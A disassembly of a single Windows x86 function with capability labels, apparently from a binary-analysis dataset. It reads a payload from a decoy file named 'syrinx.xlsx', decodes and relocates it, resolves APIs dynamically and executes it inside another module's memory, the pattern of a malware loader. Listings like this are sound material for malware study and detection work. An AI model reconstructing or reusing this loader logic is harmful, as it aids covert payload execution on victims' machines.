Function at 0x1002f973
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x24
push 0
push 0
push dword [0x100880a0]
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov dword [esp], eax
push 4
push 0x1000
push dword [0x100880b8]
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
mov edx, dword [0x100880b8]
mov ecx, eax
call fcn.1002f8e3
push 0x104
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov ecx, 0xffffffff
mov eax, dword [str.syrinx.xlsx]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp word [edi + ecx*2 + 2], 0
lea ecx, [ecx + 1]
jne 0x1002f9d3
cmp word [edi + ecx*2 - 2], 0x5c
jne 0x1002f9f3
mov edx, ecx
jmp 0x1002fa06
mov word [edi + ecx*2], 0
lea edx, [ecx - 1]
cmp word [edi + ecx*2 - 4], 0x5c
mov ecx, edx
jne 0x1002f9f3
movzx ecx, byte [eax]
test cl, cl
je 0x1002fa24
lea edx, [edi + edx*2]
xor esi, esi
nop
movsx ecx, cl
mov word [edx + esi*2], cx
movzx ecx, byte [eax + esi + 1]
inc esi
test cl, cl
jne 0x1002fa13
push 0
push 0x80
push 3
push 0
push 1
push 1
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp eax, 0xffffffff
je 0x1002fbcc
mov edi, eax
push 0
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebp, eax
mov esi, dword [0x100880bc]
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push esi
push 0
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, eax
mov edx, dword [0x100880bc]
mov ecx, eax
call fcn.1002f8e3
mov dword [esp + 8], 0
lea eax, [esp + 8]
push 0
push eax
push ebp
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1002fbcc
mov ebp, dword [esp + 8]
add ebp, ebx
mov edx, dword [0x100880c4]
lea esi, [ebx + edx]
mov eax, dword [ebx + edx]
test eax, eax
je 0x1002fabb
mov ecx, dword [ebx + edx + 4]
lea edx, [edx + ebx + 8]
add dword [edx], ecx
add edx, 4
dec eax
jne 0x1002fab3
mov ebx, dword [0x100880a8]
lea eax, [esi + ebx + 1]
push eax
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x1002fbcc
mov edi, eax
add esi, ebx
movsx ebx, byte [esi]
lea eax, [esi + ebx + 1]
push eax
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [esp], eax
test eax, eax
je 0x1002fbcc
add esi, ebx
movsx ebx, byte [esi]
lea eax, [esi + ebx + 1]
push eax
call edi
test eax, eax
je 0x1002fbcc
mov edi, eax
add esi, ebx
movsx eax, byte [esi]
lea ebx, [esi + eax]
add ebx, dword [0x1008809c]
mov edx, dword [esi + eax + 8]
lea ecx, [ebx + edx]
mov dword [esp + 0xc], edx
mov dword [esp + 0x10], ecx
mov ecx, dword [edi + 0x3c]
add edi, dword [edi + ecx + 0x2c]
mov eax, dword [esi + eax + 4]
add eax, edi
mov dword [esp + 0x14], eax
mov dword [esp + 4], 0
lea eax, [esp + 4]
push eax
push dword [0x100880dc]
push edx
push edi
mov esi, dword [esp + 0x10]
call esi
mov ecx, edi
mov edx, ebx
mov ebx, dword [esp + 0xc]
push ebx
call fcn.1002f923
add esp, 4
lea eax, [esp + 4]
push eax
push dword [esp + 8]
push ebx
push edi
call esi
mov eax, dword [str.washup.ppt]
cmp byte [eax], 0
je 0x1002fba6
xor eax, eax
nop
mov ecx, dword [str.washup.ppt]
movsx ecx, byte [ecx + eax]
mov word [ebp + eax*2], cx
lea ecx, [eax + 1]
mov edx, dword [str.washup.ppt]
cmp byte [edx + eax + 1], 0
mov eax, ecx
jne 0x1002fb83
jmp 0x1002fba8
xor ecx, ecx
mov word [ebp + ecx*2], 0
mov dword [esp + 0x1c], ebp
mov eax, dword [esp + 0x10]
mov dword [esp + 0x18], eax
mov byte [esp + 0x20], 1
lea eax, [esp + 0x18]
push eax
call dword [esp + 0x18]
add esp, 4
add esp, 0x24
pop esi
pop edi
pop ebx
pop ebp
ret